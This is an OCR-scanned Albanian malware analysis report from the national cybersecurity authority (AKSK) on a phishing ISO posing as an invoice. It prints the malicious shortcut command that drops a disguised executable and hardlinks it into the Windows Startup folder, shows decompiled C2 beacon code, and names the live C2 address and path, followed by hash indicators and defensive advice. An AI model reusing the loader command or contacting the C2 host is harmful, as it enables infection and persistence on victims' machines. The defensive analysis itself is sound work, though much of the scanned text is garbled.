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Ky raport ka kufizime dhe duhet interpretuar me kujdes!
Disa nga kéto kufizime pérfshijné:

Faza e paré:

Burimet e informacionit: Raporti €shté bazuar n€ informacionet t€ vendosura né dispozicion né
momentin e pérgatitjes sé€ tij. Ndérkohé, disa aspekte mund t€ jené t€ ndryshme nga zhvillimet
aktuale.

Faza e dyté:

Detajet e analizés.: Pér shkak té kufizimeve burimore, disa aspekte té skedarit keqdashés mund té
mos jené analizuar thellésisht. Cdo informacion shtesé i panjohur mund té reflektojé né ndryshime
té raportit.

Faza e treté:

Siguria e informacionit: Pér t&€ mbrojtur burimet dhe informacionet konfidenciale, disa detaje
mund t€ jené t€ zbutura ose jo t€ pérfshira né€ raport. Ky vendim &shté marré pér t€ mbajtur
integritetin dhe siguriné e t& dhénave té pérdorura.

AKSK rezervon té drejtén pér té ndryshuar, pérditésuar, ose ndryshuar cfarédo pjesé té
kétij raporti pa lajmérim paraprak.

Ky raport nuk éshté njé dokument pérfundimtar.

Gjetjet e raportit bazohen né informacionin e disponueshém gjaté kohés sé hetimit dhe analizés.
Nuk ka garanci né lidhje me ndryshime té mundshme apo pérditésime té informacioneve té
raportuara gjaté periudhés né vijim. Autorét e raportit nuk marrin pérgjegjési pér pérdorimin e
gabuar ose pasojat e ndonjé vendimmarrjeje té bazuar né kété raport.
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Informacione Teknike

Ky raport paraget analizén teknike t€ njé skedari me format ISO, i identifikuar si pjesé€ e njé fushate
phishing. Skedari ISO é&shté pérdorur si mekanizém shpérndarjeje pér té€ anashkaluar filtrat e
siguris€ s& email-it dhe pér t€ rritur besueshmériné ndaj viktimés, duke u paraqitur si dokument
legjitim (p.sh. faturé, kontraté apo dokument zyrtar).

Analiza e skedarit

Skedari Invoice#0014436.iso Eshté njé skedar i formatit iso ose ISO image e cila pérdoret pér té
arkivuar ose pér té krijuar programe bootable.

File name
C:\Users\flare\Desktop\Invoice#0014436.is0
File type File size
Binary 164.00 KiB
Scan Endianness Maode Architecture Type

Automatic LE Unknown NOEXEC Unknown

* Binary

Format: 1ISO 9660

Figura.l. skedari ISO

Konkretisht skedari ISO nése klikohet do shfaqi vetém njé dokument me emrin
Invoice#0014436.pdf.Ink t€ cilit nése i kontrollojmé karakteristikat (propertie) do evidentojmé qé
pérmban njé komandé:

%ComSpec% /c start /MIN Invoice#0014436.pdf && type '"img.jpg" >
"C:\ProgramData\img.jpg" && mklink /h "%APPDATA%\Microsoft\Windows\Start
Menu\Programs\Startup\searchmgnr.exe" C:\ProgramData\img.jpg && start
C:\ProgramData\img.jpg

Kjo komand€ né€ vetvete akseson njé skedar Invoice#0014436.pdf dhe me ané té type pérmbajtjen
e skedarit img.jpg e shkruan né€ direktorine ProgramData dhe me ané t€ mklink krijon njé
hardlink me emrin searchmgnr.exe por né vetvete ky link i referohet skedarit img.jpg. Pra ky
skedar do té ekzekutohet sa heré q¢ kompjuteri té ndizet.
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@ Invoice#0014436.pdf.Ink Properties

Colors Terminal
General Shortcut Options
:@ Invoice#0014436.pdf Ink

Targettype: File

Targetlocation:

Details
Font Layout

Target |

P=ComSpec? /c start/MIN Invoice#0014436.pdf 88 ty||

Startin: |

Shortcut key: |N0ne

Run: Minimized

Comment: |

Open File Location

Change Icon...

Advanced...

Cancel Apply

Figura.2. Komandé e fshehur

Nga kjo kuptohet se skedari img.jpg nuk €shté nj€ vete por njé skedar i ekzekutueshém. Pér ti paré
kéto skedaré duhet t€ aktivizojmé opsionin né windows View Hidden Files.

”~

This PC > DVD Drive (G:)

Name

Date modified

img.jpg

2/19/2026 6:06 PM
2/19/2026 6:06 PM

v O
Type Size
JPEG image 74 KB
Microsoft Edge PD... 26 KB

I Invoice#0014436.pdf

#@ Invoice#0014436.pdfink

2/19/2026 6:.06 PM Shortcut

O Search DVD Driy

Figura.3. Pérmbajtja e skedarit iso

Skedari img.jpg éshté skedar 1 ekzekutueshém gjé€ e cila evidentohet nga header i1 skedarit nga

Magic Bytes 4D 5A.
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Lu.- HxD - [GAimg.jpg]

. v

¥ - B3 @
&) img.jpg
Offset(h) 00 01 02
00000000 4D 52 s
Q0000010 B& 00 00
Q0000020 00 0O QO
Q0000030 00 00 QO
Q0000040 OE 1F Ba
00000050 &9 73 20
Q0000060 74 20 B2
00000070 &D 6F &4
00000080 50 45 00
Q0000050 00 ) Q0

03

++ 16

04

03
00
00
00
00
72
20
2E

) 64

) FO

05

& File Edit Search View Analysis Tools Window Help

hex

w| | Windows (ANSI) v w
Og 07 08 09 OA OB OC OD OE OF Decoded text
) 00 00 04 00 00 QOO FF FF 00 EZ .......... vy
) 00 00 40 00 OO0 OO OO0 OO0 OO0 Q00O ,euunnus Beenunn.
) 00 00 00 OO0 OO0 OO OO0 OO0 OO0 00| seeensnnnnnnnnnns
) 00 OO0 00 OO OO0 OO0 80 00 00 00| seeennnnnnns €...
02 CD 21 B8 01 4C CD 21 54 68 @ I!J.Li!Th
€7 72 61 €D 20 63 €l €E €E €F | is program canno
75 6E 20 €9 6E 20 44 4F 53 2 t be run in DOS
0D OA 24 00 00 00 00 00 Q0 0 MO . e v s Pannnnns
04 00 5F 3D 97 €9 00 2 00 PE..d*.._‘—i.
2E 02 0B 02 02 29 00 1C Q1 [ - ) -

Figura.4. img.jpg Magic Bytes

DAT_140010260 Bllok té dhénash statike (HTTP/beacon)
Eshté njé payload statik prej ~0xS1E byte qé funksionet e tjera e kopjojné dhe e pérdorin si

kérkese HTTP/C2.
[ )

IP (UTF-16LE): 62[.]171[.]165.11
User-Agent (UTF-16LE): Mozilla/5.0 (Windows NT 10.0; Win64; x64) ...

Header-a (UTF-16LE): Content-Type: application/json, Accept: application/json, et;.
Vlera numerike ndérmjet (gjasa gjatési, kod, port, etj.)

Oh = -
o = 44 param_1[0x10] = &DAT_ 14001023k;
o 45 param_1[0x11] = &DAT_14001023b;

46 *(undefined4 *) (param 1 + 0x18) = 0;
ped: 2 -
o 47 *(undefined2 *)( (longlong)param 1 + Oxcd) = 0;
] 48| param 1[0x17] = 0x100000000;
E
o 45 *{undefinsd4 *) ( (longlong)param 1 + Oxb4) = 0;
N N 50 demfrrrrrehe e s Sy 0;
o 51| | param 1[0xla] = &DAT 14001025c;
"ll|1 '_II‘ 52 J.Gull_J. LVaE L] - &L.AJ._J. TUULIUL 0,
o 53 param_1[0xlc] = &DAT_ 14001025c;

54 *(undefined4 *) (param 1 + 0xld) = 1;
1H 1 -
o 53| plvar5 = (longlong *)FUN_14000d50e (* (longlong
] 56 FUN_14000&8a27((longlong) local 568,0x140010260,
E
o 57 1lVare = FUN_14000d4d50e(* (longlong *¥*) (lVarlO +
N ; 58 *plVars = 1lVaré;
o iz FUN_14000667e(1lVaré, (longlong) local 568, 0x31e)

60| plvarsS[l] = *plvars;
3 G

£1 =12+ E721 = NeS1=NnnnnGt -
0oF <

v
=L = ) M 5 ognad Siri x
> T Decornpile: FUN 14000efda X nar Defined Strings

Figura. 5. IP C2
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Funksioni FUN_14000ef9a ngre strukturén fillestare t€ konfigurimit pér komponentin qé
komunikon me serverin (C2). Pérgatit parametra, ngarkon disa vlera té paracaktuara, dhe mé pas
pars-on njé listé€ objektesh t& marra nga kanali i komunikimit.

1.

Kérkon né€ njé tabelé¢ té brendshme njé element me njé “magic value” specifike
(0x545152545889). Kjo pérdoret pér té gjetur kontekstin ekzekutues ku ruhen funksionet,
alokatori, dhe lexuesi i1 té dhénave.
Plotéson njé€ strukturé konfigurimi:

o GUID konstant

o Path t€ njé€ procesi t€ ligjshém (notepad.exe) q€ do t& pérdoret si “host”

o Njé pipe lokal me emrin \\.\pipe\kharon_ pipe

o Disa fusha flag-esh dhe pointer-ash default
Ngarkon njé bllok t& madh t& dhénash statike (0x51E bajt), i cili pérmban kérkesé HTTP,
headers, User-Agent, et;.
Lexon nga kanali i brendshém numrin e elementeve q€ duhet t& deserializoj€. Pér secilin
element alokon memorie dhe lexon t& dhénat sipas njé skeme formati. Ka tre formate té
mundshme (100h, 150h, 200h).
Strukturon té gjitha kéto objekte dhe i1 ruan né njé array brenda strukturés s€ konfigurimit.

Funksioni pérgatit t€ gjithé “session state” pér komunikimin me C2. Shumé nga té€ dhénat jané
konstante. Logjika e pars-imit tregon se mjeti merr lista “detyrash” ose struktura t€ ndérlikuara
direkt nga serveri.

Decompile: FUN_14000&fa B ai.Ro | | [ Y X

22 do | A
23 1varld = *{longlong *) (*{longlong *) (1lVaré + O=xi
24 if ({1varl0 != 0) && (*(longlong *) (1VarlD + Oxa
25 uvVarfd = uvVarg + 1;

26 } while {(uVar® != uVar8);

27 }

28 1VarlD = 0;

29LAB 14000=ffb:
30 *param 1 =
31| param 1[1] = 0
32 param 1[4] = 0
33 * (undefined4

34| param 1[2] = 0x5050505050505050;

33| param 1[3] = 0x5050505050505050;

36 * (fundefinedl *) (param 1 + 0Oxl12) = 1;

37| *(undefined4 * Lt G4 =

38 param_ 1[0xk]

39| param 1[0xc] "W L\ \piped\\kharon pipe";

40 * (undefined4 *) (param_1 + 0Oxle) = 0;
41| param 1[0x13] = 0;

42 param 1[0Oxe] = &DRT 140010Z25b;

Figura. 6. Strukturé konfigurimi
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FUN 14000ed48 shérben pér t€ hapur njé objekt t€ synuar (shpesh proces) me privilegje té
mjaftueshme, pér t€ marré njé€ handle t€ vlefshém mbi t€, dhe mé pas pér t€ krijuar njé strukturé té
re t€ bazuar né até handle.

Logjika:
1. Pérpiget t€ marré privilegjin SeDebugPrivilege pér t€ hapur objekte t€ mbrojtura.
2. Provon t€ hapé objektin me akses té lart€. Nése nuk ia del, pérdor akses mé t& ulét.
3. Pérdor njé funksion t&€ brendshém pér té€ gjetur njé nén-objekt brenda atij handle-i.
4. Nése gjendet, e duplikon handle-in me njé metodé té vtables dhe e rihap me parametra té
ndryshém.
5. Tdorézon handle-in final funksionit FUN _14000e9ba qé ndérton strukturén pérfundimtare.

1

2luint * FUM_14000=d48 (longlong *param 1,uint param 2)
3

4|{

5| int iVarl;

6| longlong lvarZ;

7| ulonglong uVar3;

8| wuint *puvVar4;

9| longlong local_ 30;

0| longlong local Z28;

1

2 local 30 = -1;

3 local 28 = -1;

4 1lVar2 = FUN_14000=4ct (param 1) ;

5 if (Jvazs 1= 0)

g FUN_14000=cce (param_1,1VarZ, "SeDesbugPrivilege");

T (**(code **) (*param 1 + 0x740)) (1VarZ);

8 1

5 1var2 = FUN_14000de0a (*{longlong **) (*param_ 1 + 0Oxe8),0x1000,0,param_ 2);
0 if ((1 < 1varZ + 1U) ||

1 (lvar2 = FUN_14000de0a (*(longlong **) (*param 1 + 0x68),0x400,0,param =
2 uVar3d = FUN_14000e3fc(param 1,1Var2,10,&local 20);
3 if (((int)uVar3 != 0) && (local 320 != -1)) {

Figura. 7. Funksioni 1400ed48

FUN_14000703e
Ndérton dy versione t€ URL-s€¢ q€ pérdoren pér komunikim HTTP njé né Unicode dhe njé né

ASCIL

Alokon dy bufera, njé wide dhe njé ASCIL.

Vendos protokollin (http:// ose https:// sipas njé argumenti).

Merr host-in dhe portin nga parametrat hyrés.

Pérbén URL-né e ploté€ me renditjen:

scheme + host + ":" + port + path

E shkruan URL né t€ dy buferat duke pérdorur primitive t€ formatimit nga vtable.
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— Ky funksion ndérton endpoint-et pér kérkesat HTTP.
— Rezultati vendoset né strukturén e objektit g€ do t’i pérdoré mé pas pér komunikim me

serverin.
- |
‘c,!Decumpile: FUN_14000703e - (imgJjpg) f{. sia RO T I_:| ﬂ
4|1
Il 5| longlong lvarl;

6| undefined8 uVarZ;

7| undefined *puvarl;

8| wchar_t *pwVaré4;

9| undefined® local_50;

10| undefined4 local 48;

11

12| local_48 = 0;

13| local 50 = 0;

14| 1varl = FUN_14000d50e(* (longlong **) (*param 1 + 0x6€0),0x410);

15| *(longlong *) (param 2 + Oxl8) = 1lVarl;

16| 1varl = FUN_14000d50e(* (longlong **) (*param 1 + 0x6€0),0x208);

17| *(longlong *) (param 2 + 0x20) = 1lVarl;

18| [uvVarzZ = 0U;

19| |if ((1lvarl != 0) && (*({longlong *) (param_2 + 0Oxl8) != 0)) {

20 (**(code **) (*param_1 + 0x3k0)) (&local S50, &DAT_14000£c42,*(undefined4 *) (param 3 + 1));
21 pwVar4 = L"https://";

22 if (param 4 == 0) {

23 pwvar4 = L"http://";

24 }

23 puVar2 = *(undefined **) (param 2 + 0x28);

ne SE featTowD ——  fermde Edwmed k) Oaenl T

Figura.8. Funksioni FUN_14000703e

Funksioni FUN_140008ae4 &shté njé nga pjesét mé komplekse t€ komponentit t€ komunikimit.
Qé né fillim dallohet se merret me:

o Pérgatitjen e strukturave t€ kérkesés,

e Zgjedhjen e metodés HTTP (GET ose POST),

e Dérgimin e kérkesés,

e Marrjen dhe verifikimin e pérgjigjes,

o Kontrollimin e integritetit dhe dekodimin,
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Decompile: FUN_1400083e4 - (imaipg) Y% a.Fo [0 | = | ]
Te ocal TIcE = U7
77 local 1« {char *)0=0;
78| local_1dB8 = 0;
T local 1le0 = (char *)0x0;
80 local_la0[1] = 07
81 local 1a0[0] = 07
82| local 10 = param 3;
83| 1if (*(int *) (puVar2 + 2) == 0x200) {
B84 uvaré = FUN_1400063£3();
85 if ((uVaré & 1) == 0) goto LAB 140008b%b;
86 LAB 140008bbl:
87 plvarld = puVarld + Oxb;
88 pwVar7 = L"POST";
89
S0 else |
91 if (*(int *) (puvar3 + 3) == 0x150) goto LAB 140008bbl;
92(.aB_140008b%b:
93 plVarll = pyuVard + 4;
94 pwVar7 = L"GET";
95 T
96| plvarlg = &l:-cal_123;|
97 plvarl4 = plvarls;
p

Figura. 9. Funksioni FUN _140008ae4

Funksioni FUN_1400112b4 shérben si njé “resolver” funksionesh: merr njé string qé pérfagéson
nj€ emér funksioni dhe kthen adresén e tij.

1.
2.
3.

b

Hashon emrin e dhéné me njé algoritém FNV té modifikuar (case-insensitive).
Krahason hash-in me njé€ tabelé t€ brendshme qé ka rreth 40 ¢ifte [hash pointer funksioni].
Kontrollon disa raste t€ vecanta té koduara me doré¢ ku kthen direkt funkione t€ vtables ose
etiketa té caktuara brenda binary-t.
Nése emri ka formén module$function, atéheré:

Ndérton module.dll

Pérpiget t€ gjejé modulin ose me hash ose me emér

Thérret njé rutiné tip “GetProcAddress” pér t€ marré adresén e funksionit né€ modul
Nése nuk gjendet asgjé, kthen NULL.
Ky lloj resolver-i éshté shumé i1 zakonshém né mjetet e ngarkuara dinamikisht, sidomos né
implante/LOADER-a. E lejon kodin t€ fshehé importet dhe t€ zgjidhé API-t€ vet€ém né
kohé ekzekutimi.
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]
4 Decompile: FUN_1400112b4 - (img.jpg) % a.Ro || & | &
22| undefineds auStack 170 [4];
23| undefined8 usStack 150;
24| byte local 1480 [264];
23
26| pbVvarle = (byte *)(param 2 + €);
27| augtack 1700071 o nvwnnn177;ﬂ:
28| JuVar7 = FUN_14000€kde ( (longlong)pkbVarle, "Beacon");
29 1if ((int)uvar7 == 0) |
30 auStack_170[0] = 0x140011307;
31 uVar7 = FUN_140006bde ((longlong)pbVarlée, "ax") ;
3z if ((int)uvar7 == 0) |
33 bvarl2 = *pbvVarlé;
34 puVarll = (undefinedl *)0x0;
335 goto LAB 14001138d;
36 1
37 1
38| bvarlZ = *(byte *)(param 2 + €);
39 puvarll = (undefinedl *)0x0;
40| 1varl3 = 0;
41| do |
42 if (bvarlz2 == 0) {

Figura. 10. Evidentimi i string BEACON

FUN_140007fle Eshté njé funksion multifunksional pér komunikimin HTTP dhe pérdoret pér té
lexuar body, header-a dhe cookie nga nj€ response.

S€ pari kérkon madhésiné e trupit me njé kod specifik.

Neése madhésia dihet alokon buferin dhe e lexon t€ gjithin nj€herésh.
Nése jo lexon me blloge 4KB dhe zmadhohet buferi gradualisht.
Kthen pointer dhe gjatésiné.

Merr t€ gjithé header-ét si tekst Unicode.

Krahason emrat e header-€ve n€ ményré case-insensitive.

Nése e gjen: e kopjon vlerén né ASCII/UTF-8 dhe e kthen si pérgjigje,
Gjen njé€ cookie nga “Set-Cookie”
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e o

3588 sVarl8 = psVar5[1lvarl4];

359 if (sVarl8 == 0) break;

400 sVarl9 = sVarl8 + 0x20;

401 if (0x19 < (ushort) (sVarls8 - 0x41U)) {

402 =VarlS = svarli;

403 }

404 *(short *)((longlong)é&local 498 + 1lVarl4 * 2} = sVarl3;

405 1varl4 = 1lvarld + 1;

406 } while (1varl4 != 0xb);

407 Jlvzxld = 0:

408| |do {

409 if (*(short *) ((longlong)&local 498 + 1lvarl4) != *(short *)((longlong)L| + 1varld)
)

410 {

411 cVar3 = (char)pivVar2l;

412 goto joined rUxUODIZ0UUEe4cy

413 }

414 1varld = 1lvarld + 2;

415 } while (1Varl4d != 0xl€);

416| local_4b8 = (short *)CONCAT44 (local_4b8. 4 4 , (int)piVar2l);

417| psVarl3 = psVarS + Oxc;

418 for (psVar8 = psVar5S + Oxb; (*psVar8 == 0x20 || (*psVar8 == 9)); psVar8 = psVard + 1) {

Figura. 11 Vendosja e cookie si header.

[E5 ™ Broarkpomts e [ermory wap 7 Call Stack S SEH 7] STIPT =T Symbor [u]0] gul:3 7 RETerences ¢ [reads | g Hahdies . g 1taig
®|[D0DD7FFED1EZ8AEC 56 push rsi
®| 00007FFED1E28AED 57 push rdi
®| DDD0FFFED1E28AEE 55 push rbp
e 00007FFED1E2BAEF 53 push rbx
®| 00007 FFED1E28AFOQ 48:81EC FE0L10000 sub rsp,1F8
| 00007 FFED1E28AFT 4D:89C6 mov rl4,r8
@ 00007 FFED1E2BAFA 49:89D7 mov rl5,rdx
®|| 00007 FFED1E28AFD 48:89CB mov rbx,rcx
| 00007FFED1E28B00 4D:85C0 test r8,r8
e 00007FFED1E28B03( ~ 74 09 je img.7FF6DLE2BBOE
@ 00007FFED1LEZERBOS 31co XOr eax,eax
@l 00007FFED1E28B07 49:8946 08 mov gqword ptr ds:[rl4+8],rax
e/ 00007FFED1E28B0B 49:8906 mov gqword ptr ds:[rl4],rax
l-@|| 00007 FFED1E2BBOE 48:8DBC24 BOO0ODODO Tea rdi,qword ptr ss:|[Irsp+B0J
el 00007FFED1E28B16 C747 58 00000000 mov dword ptr ds:[rd1'+58§,0
®|| 00007FFED1E28B1D 31F6 xor esi,esi
@ 00007 FFED1E2E8B1F B9 15000000 mov ecx,l15
@ 00007FFED1E28B24 31co X0OF eax,eax
®| 00007FFED1E2EB26 F3:AB rep stosd
@ 00007 FFED1E28B28 48:8803 mov rax,gword ptr ds:[rbx]
@l 00007FFED1E2E8B2B €780 94010000 7000000mov dword ptr ds:[rax+194],70 70:'p’
|| 00007FFED1E28B35 EE BODEFFFF call img.7FFEDLE263F3
@| 00007FFED1E28B3A 48:8B0B mov rcx,qword ptr ds:[rbx]
e/ 00007FFED1E28B3D 31p2 xor edx,edx
®| 00007FFED1E28B3F F7Bl1 98010000 div dword ptr ds:[rcx+198]
| 00007FFED1E28B45 48:8881 A0010000 mov rax,qword ptr ds:[rcx+1a0] - —_—— —
®|| 00007FFED1EZ28BAC 4C : 8B2CDO mov rl3,qword ptr ds:[rax+rdx®g8] r13:&."62.171.165.11"
@ 00007FFED1E28B50 4D:85ED Test ri3,rl3 ri3:&L."62.171.165.11"
e 00007FFED1E2EBB53 ~ OFB4 67040000 je img.7FFEDLEZBFCO
] 31co XOF eax,eax
b 48:894424 70 mov gqword ptr ss:[rsp+70],rax
48:894424 68 mov_aword ptr ss:lfrsp+68l.rax

Figura. 12 IP C2 gjaté ekzekutimit
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lea rax,qword ptr ds:[7FF6DLEZFC30] 00007FFED1EZFC30: L "GET"
jmq img. 7FFE6D1E2BBBC
call img.7FFEDLE263F3
test al,l

Tea rsi,qword ptr ds:[r13+20] rsi:&L " agent_name=kharon&maded_by=obTivion™, [r13+20]:& wvai

?e img. FFFEDLEZE8B9B

call img.7FFED1LE263F3
xor edx,edx
div dword ptr ds:[r12+8]

lea rsi,qword ptr ss:|irbp+a0]
lea ri14,qword ptr ss:|frsp+1a0] o
mov ecx,B B: W
mov rdi,rl4

rep movsq

lea rsi,qword ptr ss:[rbp+&]
lea rax,qword ptr ss:|[rsp+148] o
mov ecx,B B: W
mov_rdi,rax

ea rsi,qword ptr ds:[r13+58] rsi:& "agent_name=kharon&maded_by=oblivion”, |[r13+58] :&"api
lea rax,gword ptr ds:[7FF6D1EZ2FC38] 00007FFeRlF2EC 3R] "POST"

mov gword ptr ss:rsp+40],rax [Frsp+40] :L"GET"

lea ri12,qword ptr ss:|rsp+110] [rsp+110] :&"vaiE " \x01"

mov ecx,’

mov rdi,rl2 riz2:&"paje’ " \xo1"

rep movsg

mov rsi,qword ptr ds:[rl2] rsi:& "agent_name=kharon&maded_by=oblivion", [rl12]:&"vaie’

mov rbp,qword ptr ds:[rsi+rdx*8] [rsi+rdx*8] :L"agent_name=kharon&maded_by=oblivion"

Figura. 13 Agent name hardcoded

2| -~ EB E6 jmp img.7FFGD1E28001

LB 4C:8D8424 A0000000 ea r8,qword ptr ss:[rsp+a0] [rsp+A0] : " 813moki6xj0T0ZPFcsn/PauL /FsY6310R43TynmF /w2nDbb7 Er
] 45:8930 mov dword ptr ds:[r8],rlad

6 4C:8D8C24 AQ020000 Tea r9,qword ptr ss:[rsp+2a0]

PE 41:C701 04000000 mov dword ptr ds:[r9],4

B 5 44 :897424 50 mov dword ptr ss:[Irsp+50Q,ridd

A 49:8B45 00 mov rax,gword ptr ds:[r13] [r13]:0L"62.171.165.11"

E 48:C74424 20 0000000¢mov qword ptr ss:[irsp+20],0

k7 48:89D9 mov rcx,rbx

Ba BA 05000020 mov_edx, 20000005

hE FF90 38040000 Ealll qword ptr ds:[rax+a3s]

b5 49:884D 00 mov rcx,qword ptr ds:[r13] [r13]:L"62.171.165.11"

b9 48:8849 60 mov rcx,qword ptr ds:[rcx+60]

FD 85c0 test eax,eax

bF ~ OF84 FE020000 je img.7FFEDLE28363

5 889424 A0000000 mov edx,dword ptr ss:[Irsp+a0]

iC 85D2 Test edx,edx

E| ~ OF84 EF020000 je img.7FFED1E28363

F4 83c2 20 add edx, 20

F7 E8 92540000 €all img. 7FFED1EZDS0E 7

RE 0000000000CC000C
RO 00000001001FF318
R10  0000000000000013

R11  00000001001FFO70

R12 00000001001FF410 &
R13 000001FBED4F0O7 50 &
R14 00000001001FF4A0

R15 00000001001FF538

RIP 00007FFEDLE27F1E i
RFLAGS 0000000000000344
ZF1 PF1 AF O

OF 0 SFO DFO

CEO0 TE1 TF 1

<

Default (x64 fastcall) v |5

>

813moki6xj0I0ZPFcsn/PauL/fsy&110R4 3TynmF /W2 nDbb7 Er 7 HwOy0+DL41+UMZXaxZUvump0i svold9ytMIsyjPPLUKNGCUbK1SCWqpixHI11he /oTMDMEE8K0Zg214

1: rcx D00001FBED851CE0
2: rdx 0000000000000000
3: r& 0000000000CCO00C
4: r9 00000001001FF318
5: [rsp+28] 0000000000000003

|001FBED50BDED | "813moki6xjOI0ZPFcsn/PauL /TsyY61 TORA3TynmF /wW2nDbb7Er7 Hwoy0+Dt41+UMzXaxZUvumb0isvold9ytMIsyJPpLUKNGEubKISCwWqpjxHII Thy
00000000002E8
000CE800000004
0000000CC0004
0000000CCA0OE,

'oTmDM66BK0Z g2 TAZopTrcpVpmhKt

0000000Cq000C
001FBED5(B940 (L https://62.171.165.11:5124 /routed”
001FBED5QAC00 ("https://62.171.165.11:5124 /routed”
00LFBED5SM4 800 |L" /routed 7agent_name=khar on&maded_by=0bTlivion"
0000000000000

00000000002E8

00LFBEDSUC280 | "813mokiexjOI0ZPFcsn/PauL /FsY6110R43IynmF /W2nDbb7Er 7HWOY0+DT41+UMZXaxXZUvumD01 svold9ytMISy jPPLUKNGCUbKLSCWapjxHIITh4d /0TmDME68K0Zg2 1A20p i r cpVpmhKE,
00LFBEDSNY58EQ |&"813moki6xjOI0ZPFcsn/PauL/fsY6110R4 3TynmF /W2nDbb7 Er 7HWOY0+DL41+UMZXaxXZ UvumD0i svold9ytMIsy jPPLUKNGCubK1SCWqpjxH911hd /oTmDMEE8K0Zg21A2opir cpvpmhiy
2z

0000000000000

Figura. 14 url e komunikimit dhe path /route4

Indikatorét e Komprometimit

2781BEID7FS8S8FEA111ACI95F4135ECD618CE9EAC42F402BFB48E9S6BEF267E
29D

Invoice#0014436.iso

91FC23972D6B9037C3A2110ACOFAD2B3B61AFA1BF19887E7785A1257B1F38F
19

Invoice#0014436.pdf

098BIE92CAS3E284B3CD745472069AB16CA457E064CABE7D7B477DB4E364E709
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Rekomandime

Autoriteti Kombétar pér Siguriné Kibernetike rekomandon:

* Bllokimin e menjéhershém té Indikatoréve t&€ Komprometimit, t& pérmendura mé sipér né
pajisjet tuaja mbrojtése.

* Analizimin e vazhdueshém té logeve g€ vijn€ nga SIEM (Security information and Event
Management).

* Trajnimin e stafit jo-teknik rreth sulmeve “Phishing” si dhe ményrat e shmangies s€ infektimit
prej tyre.

* Instalimin e pajisjeve t&€ perimetrit t€ rrjetit g€ béjné analizé t& thellé t& trafikut duke u
mbéshtetur jo vetém né rregullat e listave t€ aksesit por edhe né sjelljen e tij (Firewall-et
NextGen).

* Sistemet e evidentuara t€ segmentohen né VLAN-e t€ ndryshme, duke aplikuar “Access
control list pér té€ gjithé perimetrin e rrjetit”, webserviset duhet t€ jené té€ ndaré nga Databaza e
tyre, Active Directory duhet té jeté né njé VLAN té ndaré.

* Aplikimin dhe pérdorimin e teknikés LAPS pér sistemet Microsoft, pér menagjimin e
fjalékalimeve t€ Administratoréve Lokal.

* T¢ aplikohen filtra té trafikut n€ rastin e aksesimit n€ distancé t€ hosteve (punonjésve/palé té
treta/klienté).

* Té implementohen zgjidhje g€ kryen filtrimin, monitorimin dhe bllokimin e trafikut
keqdashés

ndérmjet aplikacioneve Web dhe internetit, Web Application Firewall (WAF).

* T€ kryhen analiza té trafikut né nivel sjellje “behaviour” pér pajisjet fundore, aplikimi 1
zgjidhjeve EDR, XDR. Kjo sjell analizén e skedaréve keqdashés jo vetém né nivel signature
por dhe né€ nivel behaviour.

* Té projektohet zgjidhja pér menaxhimin e aksesit t€ pérdoruesve “Identity Access
Management” pér t&€ kontrolluar identitetin dhe privilegjet e pérdoruesve né kohé reale sipas
parimit “zero-trust”.
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